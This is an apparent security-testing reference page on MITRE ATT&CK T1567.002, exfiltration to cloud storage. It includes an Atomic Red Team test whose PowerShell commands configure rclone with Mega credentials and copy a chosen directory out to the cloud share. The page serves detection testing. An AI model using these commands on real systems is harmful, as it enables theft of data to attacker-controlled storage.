T1567.002 Exfiltration to Cloud Storage
Sub-technique of: T1567
High-Level Description
Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.
Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.

What to Check
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: Exfiltrate data with rclone to cloud Storage - Mega (Windows)
This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
Supported Platforms: windows
New-Item #{rclone_config_path}\rclone -ItemType directory
New-Item #{rclone_config_path}\rclone\rclone.conf
cd "#{rclone_path}"
.\rclone.exe config create #{remote_share} mega
set-Content #{rclone_config_path}\rclone\rclone.conf "[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}"
.\rclone.exe copy --max-size 1700k "#{dir_to_copy}" #{remote_share}:test -v
